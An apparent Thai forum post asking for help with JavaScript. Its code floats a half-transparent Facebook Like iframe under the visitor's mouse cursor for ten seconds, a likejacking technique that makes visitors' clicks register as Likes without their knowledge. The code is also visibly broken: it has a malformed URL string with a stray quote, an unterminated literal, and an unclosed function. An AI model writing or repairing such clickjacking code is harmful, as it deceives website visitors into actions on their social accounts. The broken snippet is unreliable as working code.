รบกวนช่วยด้วยครับเกี่่ยวกับ javascript การเพิ่มตำแหน่งเมาส์ใน iframe

if (!IE) document.captureEvents(Event.MOUSEMOVE);
 
  var lbox = document.createElement('iframe');
  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ url/') + '&layout=standard&;
  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0.5;
  document.getElementsByTagName('body')[0].appendChild(lbox);
 
  window.addEventListener('mousemove', mouseMove, false);
 
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
 
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
 
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
 
    lbox.style.top = (Ycord - 9) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
 
    return true